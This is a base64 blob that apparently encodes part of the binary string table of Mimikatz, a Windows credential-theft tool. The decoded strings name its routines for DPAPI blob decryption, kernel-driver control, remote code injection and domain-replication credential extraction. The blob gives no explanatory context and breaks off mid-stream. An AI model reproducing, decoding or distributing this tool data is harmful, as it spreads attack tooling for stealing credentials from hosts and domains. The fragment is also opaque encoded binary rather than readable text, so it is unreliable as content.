AHgAKQAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AZABwAGEAcABpAF8AdQBuAHAAcgBvAHQAZQBjAHQAXwBiAGwAbwBiACAAOwAgAGsAdQBsAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBjAGwAbwBzAGUAXwBoAHAAcgBvAHYAXwBkAGUAbABlAHQAZQBfAGMAbwBuAHQAYQBpAG4AZQByACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AZABwAGEAcABpAF8AdQBuAHAAcgBvAHQAZQBjAHQAXwBiAGwAbwBiACAAOwAgAGsAdQBsAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBoAGsAZQB5AF8AcwBlAHMAcwBpAG8AbgAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAGQAcABhAHAAaQBfAHUAbgBwAHIAbwB0AGUAYwB0AF8AbQBhAHMAdABlAHIAawBlAHkAXwB3AGkAdABoAF8AcwBoAGEARABlAHIAaQB2AGUAZABrAGUAeQAgADsAIABrAHUAbABsAF8AbQBfAGMAcgB5AHAAdABvAF8AYwBsAG8AcwBlAF8AaABwAHIAbwB2AF8AZABlAGwAZQB0AGUAXwBjAG8AbgB0AGEAaQBuAGUAcgAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAGQAcABhAHAAaQBfAHUAbgBwAHIAbwB0AGUAYwB0AF8AbQBhAHMAdABlAHIAawBlAHkAXwB3AGkAdABoAF8AcwBoAGEARABlAHIAaQB2AGUAZABrAGUAeQAgADsAIABrAHUAbABsAF8AbQBfAGMAcgB5AHAAdABvAF8AaABrAGUAeQBfAHMAZQBzAHMAaQBvAG4AIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBkAHAAYQBwAGkAXwB1AG4AcAByAG8AdABlAGMAdABfAGQAbwBtAGEAaQBuAGsAZQB5AF8AdwBpAHQAaABfAGsAZQB5ACAAOwAgAEMAcgB5AHAAdABEAGUAYwByAHkAcAB0ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AZABwAGEAcABpAF8AdQBuAHAAcgBvAHQAZQBjAHQAXwBkAG8AbQBhAGkAbgBrAGUAeQBfAHcAaQB0AGgAXwBrAGUAeQAgADsAIABDAHIAeQBwAHQAUwBlAHQASwBlAHkAUABhAHIAYQBtACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAGQAcABhAHAAaQBfAHUAbgBwAHIAbwB0AGUAYwB0AF8AZABvAG0AYQBpAG4AawBlAHkAXwB3AGkAdABoAF8AawBlAHkAIAA7ACAAawB1AGwAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGMAbABvAHMAZQBfAGgAcAByAG8AdgBfAGQAZQBsAGUAdABlAF8AYwBvAG4AdABhAGkAbgBlAHIAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBkAHAAYQBwAGkAXwB1AG4AcAByAG8AdABlAGMAdABfAGMAcgBlAGQAaABpAHMAdABfAGUAbgB0AHIAeQBfAHcAaQB0AGgAXwBzAGgAYQBEAGUAcgBpAHYAZQBkAGsAZQB5ACAAOwAgAGsAdQBsAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBjAGwAbwBzAGUAXwBoAHAAcgBvAHYAXwBkAGUAbABlAHQAZQBfAGMAbwBuAHQAYQBpAG4AZQByACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBkAHAAYQBwAGkAXwB1AG4AcAByAG8AdABlAGMAdABfAGMAcgBlAGQAaABpAHMAdABfAGUAbgB0AHIAeQBfAHcAaQB0AGgAXwBzAGgAYQBEAGUAcgBpAHYAZQBkAGsAZQB5ACAAOwAgAGsAdQBsAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBoAGsAZQB5AF8AcwBlAHMAcwBpAG8AbgAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAG8AbgBfAHUAbgBwAHIAbwB0AGUAYwB0AAAAAAAAAAAAbwBuAF8AcAByAG8AdABlAGMAdAAAAAAAcgBlAHMAZQByAHYAZQBkAAAAAAAAAAAAcwB0AHIAbwBuAGcAAAAAAHIAZQBxAHUAaQByAGUAXwBzAHQAcgBvAG4AZwAAAAAAJQBzACAAOwAgAAAAAAAAAHUAaQBfAGYAbwByAGIAaQBkAGQAZQBuAAAAAAAAAAAAdQBuAGsAbgBvAHcAbgAAAGwAbwBjAGEAbABfAG0AYQBjAGgAaQBuAGUAAAAAAAAAYwByAGUAZABfAHMAeQBuAGMAAAAAAAAAYQB1AGQAaQB0AAAAAAAAAG4AbwBfAHIAZQBjAG8AdgBlAHIAeQAAAHYAZQByAGkAZgB5AF8AcAByAG8AdABlAGMAdABpAG8AbgAAAAAAAABjAHIAZQBkAF8AcgBlAGcAZQBuAGUAcgBhAHQAZQAAAHN5c3RlbQAACgA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0ACgBCAGEAcwBlADYANAAgAG8AZgAgAGYAaQBsAGUAIAA6ACAAJQBzAAoAPQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AAoAAAAlAGMAAAAAAD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQAKAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBrAGUAcgBuAGUAbABfAGkAbwBjAHQAbABfAGgAYQBuAGQAbABlACAAOwAgAEQAZQB2AGkAYwBlAEkAbwBDAG8AbgB0AHIAbwBsACAAKAAwAHgAJQAwADgAeAApACAAOgAgADAAeAAlADAAOAB4AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBrAGUAcgBuAGUAbABfAGkAbwBjAHQAbAAgADsAIABDAHIAZQBhAHQAZQBGAGkAbABlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABcAFwALgBcAG0AaQBtAGkAZAByAHYAAAAlACoAcwAqACoASwBFAFkAIAAoAGMAYQBwAGkAKQAqACoACgAAAAAAAAAAAAAAAAAlACoAcwAgACAAZAB3AFUAbgBpAHEAdQBlAE4AYQBtAGUATABlAG4AIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAAAAAACUAKgBzACAAIABkAHcAUAB1AGIAbABpAGMASwBlAHkATABlAG4AIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAAAAAJQAqAHMAIAAgAGQAdwBQAHIAaQB2AGEAdABlAEsAZQB5AEwAZQBuACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAAAAAAAAlACoAcwAgACAAZAB3AEgAYQBzAGgATABlAG4AIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAAAAAACUAKgBzACAAIABkAHcARQB4AHAAbwByAHQARgBsAGEAZwBMAGUAbgAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAAAAAJQAqAHMAIAAgAHAAVQBuAGkAcQB1AGUATgBhAG0AZQAgACAAIAAgACAAIAAgACAAOgAgAAAAAAAlAFMACgAAACUAKgBzACAAIABwAEgAYQBzAGgAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAAAAAAJQAqAHMAIAAgAHAAUAB1AGIAbABpAGMASwBlAHkAIAAgACAAIAAgACAAIAAgACAAOgAgAAAAAAAlACoAcwAgACAAcABQAHIAaQB2AGEAdABlAEsAZQB5ACAAIAAgACAAIAAgACAAIAA6AAoAAAAAACUAKgBzACAAIABwAEUAeABwAG8AcgB0AEYAbABhAGcAIAAgACAAIAAgACAAIAAgADoACgAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBrAGUAeQBfAGMAbgBnAF8AYwByAGUAYQB0AGUAIAA7ACAAawB1AGwAbABfAG0AXwBrAGUAeQBfAGMAbgBnAF8AcAByAG8AcABlAHIAdABpAGUAcwBfAGMAcgBlAGEAdABlACAAKABwAHUAYgBsAGkAYwApAAoAAAAAAAAAAAAlACoAcwAqACoASwBFAFkAIAAoAGMAbgBnACkAKgAqAAoAAAAAAAAAJQAqAHMAIAAgAGQAdwBWAGUAcgBzAGkAbwBuACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAlACoAcwAgACAAdQBuAGsAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAACUAKgBzACAAIABkAHcATgBhAG0AZQBMAGUAbgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAJQAqAHMAIAAgAHQAeQBwAGUAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAlACoAcwAgACAAZAB3AFAAdQBiAGwAaQBjAFAAcgBvAHAAZQByAHQAaQBlAHMATABlAG4AIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAACUAKgBzACAAIABkAHcAUAByAGkAdgBhAHQAZQBQAHIAbwBwAGUAcgB0AGkAZQBzAEwAZQBuADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAJQAqAHMAIAAgAGQAdwBQAHIAaQB2AGEAdABlAEsAZQB5AEwAZQBuACAAIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAlACoAcwAgACAAdQBuAGsAQQByAHIAYQB5AFsAMQA2AF0AIAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAAAAAAJQAqAHMAIAAgAHAATgBhAG0AZQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgAAAAAAAAACUALgAqAHMACgAAAAAAAAAlACoAcwAgACAAcABQAHUAYgBsAGkAYwBQAHIAbwBwAGUAcgB0AGkAZQBzACAAIAAgACAAIAA6ACAAAAAAAAAAJQAqAHMAIAAgAHAAUAByAGkAdgBhAHQAZQBQAHIAbwBwAGUAcgB0AGkAZQBzACAAIAAgACAAOgAKAAAAAAAAACUAKgBzACAAIABwAFAAcgBpAHYAYQB0AGUASwBlAHkAIAAgACAAIAAgACAAIAAgACAAIAAgADoACgAAAAAAAAAlACoAcwAqACoASwBFAFkAIABDAE4ARwAgAFAAUgBPAFAARQBSAFQAWQAqACoACgAAAAAAAAAAAAAAAAAAAAAAJQAqAHMAIAAgAGQAdwBTAHQAcgB1AGMAdABMAGUAbgAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAAAAAAAAAAAAAAAAlACoAcwAgACAAdAB5AHAAZQAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAAAAAAAAAAAAAACUAKgBzACAAIAB1AG4AawAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAAAAAAAAAAAAAJQAqAHMAIAAgAGQAdwBOAGEAbQBlAEwAZQBuACAAIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAAAAAAAAAAAAAAAAlACoAcwAgACAAZAB3AFAAcgBvAHAAZQByAHQAeQBMAGUAbgAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAAAAlACoAcwAgACAAcABOAGEAbQBlACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAlACoAcwAgACAAcABQAHIAbwBwAGUAcgB0AHkAIAAgACAAIAAgACAAIAA6ACAAAAAlAHUAIABmAGkAZQBsAGQAKABzACkACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBuAGUAdABfAGcAZQB0AEQAQwAgADsAIABEAHMARwBlAHQARABjAE4AYQBtAGUAOgAgACUAdQAKAAAAYQAAACIAJQBzACIAIABzAGUAcgB2AGkAYwBlACAAcABhAHQAYwBoAGUAZAAKAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBwAGEAdABjAGgAXwBnAGUAbgBlAHIAaQBjAFAAcgBvAGMAZQBzAHMATwByAFMAZQByAHYAaQBjAGUARgByAG8AbQBCAHUAaQBsAGQAIAA7ACAAawB1AGwAbABfAG0AXwBwAGEAdABjAGgAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcABhAHQAYwBoAF8AZwBlAG4AZQByAGkAYwBQAHIAbwBjAGUAcwBzAE8AcgBTAGUAcgB2AGkAYwBlAEYAcgBvAG0AQgB1AGkAbABkACAAOwAgAGsAdQBsAGwAXwBtAF8AcAByAG8AYwBlAHMAcwBfAGcAZQB0AFYAZQByAHkAQgBhAHMAaQBjAE0AbwBkAHUAbABlAEkAbgBmAG8AcgBtAGEAdABpAG8AbgBzAEYAbwByAE4AYQBtAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcABhAHQAYwBoAF8AZwBlAG4AZQByAGkAYwBQAHIAbwBjAGUAcwBzAE8AcgBTAGUAcgB2AGkAYwBlAEYAcgBvAG0AQgB1AGkAbABkACAAOwAgAE8AcABlAG4AUAByAG8AYwBlAHMAcwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHAAYQB0AGMAaABfAGcAZQBuAGUAcgBpAGMAUAByAG8AYwBlAHMAcwBPAHIAUwBlAHIAdgBpAGMAZQBGAHIAbwBtAEIAdQBpAGwAZAAgADsAIABTAGUAcgB2AGkAYwBlACAAaQBzACAAbgBvAHQAIAByAHUAbgBuAGkAbgBnAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBwAGEAdABjAGgAXwBnAGUAbgBlAHIAaQBjAFAAcgBvAGMAZQBzAHMATwByAFMAZQByAHYAaQBjAGUARgByAG8AbQBCAHUAaQBsAGQAIAA7ACAAawB1AGwAbABfAG0AXwBzAGUAcgB2AGkAYwBlAF8AZwBlAHQAVQBuAGkAcQB1AGUARgBvAHIATgBhAG0AZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBwAGEAdABjAGgAXwBnAGUAbgBlAHIAaQBjAFAAcgBvAGMAZQBzAHMATwByAFMAZQByAHYAaQBjAGUARgByAG8AbQBCAHUAaQBsAGQAIAA7ACAASQBuAGMAbwByAHIAZQBjAHQAIAB2AGUAcgBzAGkAbwBuACAAaQBuACAAcgBlAGYAZQByAGUAbgBjAGUAcwAKAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAZQBtAG8AdABlAGwAaQBiAF8AYwByAGUAYQB0AGUAIAA7ACAAUgB0AGwAQwByAGUAYQB0AGUAVQBzAGUAcgBUAGgAcgBlAGEAZAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBlAG0AbwB0AGUAbABpAGIAXwBjAHIAZQBhAHQAZQAgADsAIABDAHIAZQBhAHQAZQBSAGUAbQBvAHQAZQBUAGgAcgBlAGEAZAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAVABoACAAQAAgACUAcAAKAEQAYQAgAEAAIAAlAHAACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAGUAbQBvAHQAZQBsAGkAYgBfAGMAcgBlAGEAdABlACAAOwAgAGsAdQBsAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBpAG8AYwB0AGwAXwBoAGEAbgBkAGwAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAGUAbQBvAHQAZQBsAGkAYgBfAEMAcgBlAGEAdABlAFIAZQBtAG8AdABlAEMAbwBkAGUAVwBpAHQAdABoAFAAYQB0AHQAZQByAG4AUgBlAHAAbABhAGMAZQAgADsAIABrAHUAbABsAF8AbQBfAG0AZQBtAG8AcgB5AF8AYwBvAHAAeQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAGUAbQBvAHQAZQBsAGkAYgBfAEMAcgBlAGEAdABlAFIAZQBtAG8AdABlAEMAbwBkAGUAVwBpAHQAdABoAFAAYQB0AHQAZQByAG4AUgBlAHAAbABhAGMAZQAgADsAIABrAHUAbABsAF8AbQBfAG0AZQBtAG8AcgB5AF8AYQBsAGwAbwBjACAALwAgAFYAaQByAHQAdQBhAGwAQQBsAGwAbwBjACgARQB4ACkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAZQBtAG8AdABlAGwAaQBiAF8AQwByAGUAYQB0AGUAUgBlAG0AbwB0AGUAQwBvAGQAZQBXAGkAdAB0AGgAUABhAHQAdABlAHIAbgBSAGUAcABsAGEAYwBlACAAOwAgAE4AbwAgAGIAdQBmAGYAZQByACAAPwAKAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBSAHAAYwBTAGUAYwB1AHIAaQB0AHkAQwBhAGwAbABiAGEAYwBrACAAOwAgAFEAdQBlAHIAeQBDAG8AbgB0AGUAeAB0AEEAdAB0AHIAaQBiAHUAdABlAHMAIAAlADAAOAB4AAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AUgBwAGMAUwBlAGMAdQByAGkAdAB5AEMAYQBsAGwAYgBhAGMAawAgADsAIABJAF8AUgBwAGMAQgBpAG4AZABpAG4AZwBJAG4AcQBTAGUAYwB1AHIAaQB0AHkAQwBvAG4AdABlAHgAdAAgACUAMAA4AHgACgAAAAAAAAAAAG4AYwBhAGMAbgBfAGkAcABfAHQAYwBwAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAGMAcgBlAGEAdABlAEIAaQBuAGQAaQBuAGcAIAA7ACAAUgBwAGMAQgBpAG4AZABpAG4AZwBTAGUAdABPAHAAdABpAG8AbgA6ACAAMAB4ACUAMAA4AHgAIAAoACUAdQApAAoAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAGMAcgBlAGEAdABlAEIAaQBuAGQAaQBuAGcAIAA7ACAAUgBwAGMAQgBpAG4AZABpAG4AZwBTAGUAdABBAHUAdABoAEkAbgBmAG8ARQB4ADoAIAAwAHgAJQAwADgAeAAgACgAJQB1ACkACgAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBjAHIAZQBhAHQAZQBCAGkAbgBkAGkAbgBnACAAOwAgAE4AbwAgAEIAaQBuAGQAaQBuAGcAIQAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AYwByAGUAYQB0AGUAQgBpAG4AZABpAG4AZwAgADsAIABSAHAAYwBCAGkAbgBkAGkAbgBnAEYAcgBvAG0AUwB0AHIAaQBuAGcAQgBpAG4AZABpAG4AZwA6ACAAMAB4ACUAMAA4AHgAIAAoACUAdQApAAoAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAGMAcgBlAGEAdABlAEIAaQBuAGQAaQBuAGcAIAA7ACAAUgBwAGMAUwB0AHIAaQBuAGcAQgBpAG4AZABpAG4AZwBDAG8AbQBwAG8AcwBlADoAIAAwAHgAJQAwADgAeAAgACgAJQB1ACkACgAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBnAGUAdABEAG8AbQBhAGkAbgBBAG4AZABVAHMAZQByAEkAbgBmAG8AcwAgADsAIABEAG8AbQBhAGkAbgBDAG8AbgB0AHIAbwBsAGwAZQByAEkAbgBmAG8AOgAgAEQAQwAgACcAJQBzACcAIABuAG8AdAAgAGYAbwB1AG4AZAAKAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAGcAZQB0AEQAbwBtAGEAaQBuAEEAbgBkAFUAcwBlAHIASQBuAGYAbwBzACAAOwAgAEQAbwBtAGEAaQBuAEMAbwBuAHQAcgBvAGwAbABlAHIASQBuAGYAbwA6ACAAYgBhAGQAIAB2AGUAcgBzAGkAbwBuACAAKAAlAHUAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AZwBlAHQARABvAG0AYQBpAG4AQQBuAGQAVQBzAGUAcgBJAG4AZgBvAHMAIAA7ACAARABvAG0AYQBpAG4AQwBvAG4AdAByAG8AbABsAGUAcgBJAG4AZgBvADoAIAAwAHgAJQAwADgAeAAgACgAJQB1ACkACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBnAGUAdABEAG8AbQBhAGkAbgBBAG4AZABVAHMAZQByAEkAbgBmAG8AcwAgADsAIABSAFAAQwAgAEUAeABjAGUAcAB0AGkAbwBuACAAMAB4ACUAMAA4AHgAIAAoACUAdQApAAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AZwBlAHQARABDAEIAaQBuAGQAIAA7ACAASQBuAGMAbwByAHIAZQBjAHQAIABEAFIAUwAgAEUAeAB0AGUAbgBzAGkAbwBuAHMAIABPAHUAdABwAHUAdAAgACgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAGcAZQB0AEQAQwBCAGkAbgBkACAAOwAgAE4AbwAgAEQAUgBTACAARQB4AHQAZQBuAHMAaQBvAG4AcwAgAE8AdQB0AHAAdQB0AAoAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AZwBlAHQARABDAEIAaQBuAGQAIAA7ACAASQBEAEwAXwBEAFIAUwBCAGkAbgBkADoAIAAlAHUACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAGcAZQB0AEQAQwBCAGkAbgBkACAAOwAgAFIAUABDACAARQB4AGMAZQBwAHQAaQBvAG4AIAAwAHgAJQAwADgAeAAgACgAJQB1ACkACgAAAAAAAAAAAE4ATwBfAEUAUgBSAE8AUgAAAAAAAAAAAEUAUgBSAE8AUgBfAFIARQBTAE8ATABWAEkATgBHAAAARQBSAFIATwBSAF8ATgBPAFQAXwBGAE8AVQBOAEQAAABFAFIAUgBPAFIAXwBOAE8AVABfAFUATgBJAFEAVQBFAAAAAAAAAAAARQBSAFIATwBSAF8ATgBPAF8ATQBBAFAAUABJAE4ARwAAAAAAAAAAAEUAUgBSAE8AUgBfAEQATwBNAEEASQBOAF8ATwBOAEwAWQAAAAAAAABFAFIAUgBPAFIAXwBOAE8AXwBTAFkATgBUAEEAQwBUAEkAQwBBAEwAXwBNAEEAUABQAEkATgBHAAAAAAAAAAAARQBSAFIATwBSAF8AVABSAFUAUwBUAF8AUgBFAEYARQBSAFIAQQBMAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBDAHIAYQBjAGsATgBhAG0AZQAgADsAIABDAHIAYQBjAGsATgBhAG0AZQBzACAAKABuAGEAbQBlACAAcwB0AGEAdAB1AHMAKQA6ACAAMAB4ACUAMAA4AHgAIAAoACUAdQApACAALQAgACUAcwAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AQwByAGEAYwBrAE4AYQBtAGUAIAA7ACAAQwByAGEAYwBrAE4AYQBtAGUAcwA6ACAAbgBvACAAaQB0AGUAbQAhAAoAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAEMAcgBhAGMAawBOAGEAbQBlACAAOwAgAEMAcgBhAGMAawBOAGEAbQBlAHMAOgAgAGIAYQBkACAAdgBlAHIAcwBpAG8AbgAgACgAJQB1ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AQwByAGEAYwBrAE4AYQBtAGUAIAA7ACAAQwByAGEAYwBrAE4AYQBtAGUAcwA6ACAAMAB4ACUAMAA4AHgAIAAoACUAdQApAAoAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBDAHIAYQBjAGsATgBhAG0AZQAgADsAIABSAFAAQwAgAEUAeABjAGUAcAB0AGkAbwBuACAAMAB4ACUAMAA4AHgAIAAoACUAdQApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAFAAcgBvAGMAZQBzAHMARwBlAHQATgBDAEMAaABhAG4AZwBlAHMAUgBlAHAAbAB5AF8AZABlAGMAcgB5AHAAdAAgADsAIABDAGgAZQBjAGsAcwB1AG0AcwAgAGQAbwBuACcAdAAgAG0AYQB0AGMAaAAgACgAQwA6ADAAeAAlADAAOAB4ACAALQAgAFIAOgAwAHgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBQAHIAbwBjAGUAcwBzAEcAZQB0AE4AQwBDAGgAYQBuAGcAZQBzAFIAZQBwAGwAeQBfAGQAZQBjAHIAeQBwAHQAIAA7ACAAUgB0AGwARQBuAGMAcgB5AHAAdABEAGUAYwByAHkAcAB0AFIAQwA0AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AUAByAG8AYwBlAHMAcwBHAGUAdABOAEMAQwBoAGEAbgBnAGUAcwBSAGUAcABsAHkAXwBkAGUAYwByAHkAcAB0ACAAOwAgAE4AbwAgAHYAYQBsAGkAZAAgAGQAYQB0AGEACgAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AUAByAG8AYwBlAHMAcwBHAGUAdABOAEMAQwBoAGEAbgBnAGUAcwBSAGUAcABsAHkAXwBkAGUAYwByAHkAcAB0ACAAOwAgAE4AbwAgAFMAZQBzAHMAaQBvAG4AIABLAGUAeQAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAGYAcgBlAGUAXwBEAFIAUwBfAE0AUwBHAF8AQwBSAEEAQwBLAFIARQBQAEwAWQBfAGQAYQB0AGEAIAA7ACAAbgBhAG0AZQBDAHIAYQBjAGsATwB1AHQAVgBlAHIAcwBpAG8AbgAgAG4AbwB0ACAAdgBhAGwAaQBkACAAKAAwAHgAJQAwADgAeAAgAC0AIAAlAHUAKQAKAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBmAHIAZQBlAF8ARABSAFMAXwBNAFMARwBfAEQAQwBJAE4ARgBPAFIARQBQAEwAWQBfAGQAYQB0AGEAIAA7ACAAVABPAEQATwAgACgAbQBhAHkAYgBlAD8AKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBmAHIAZQBlAF8ARABSAFMAXwBNAFMARwBfAEQAQwBJAE4ARgBPAFIARQBQAEwAWQBfAGQAYQB0AGEAIAA7ACAAZABjAE8AdQB0AFYAZQByAHMAaQBvAG4AIABuAG8AdAAgAHYAYQBsAGkAZAAgACgAMAB4ACUAMAA4AHgAIAAtACAAJQB1ACkACgAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBmAHIAZQBlAF8ARABSAFMAXwBNAFMARwBfAEcARQBUAEMASABHAFIARQBQAEwAWQBfAGQAYQB0AGEAIAA7ACAAVABPAEQATwAgACgAbQBhAHkAYg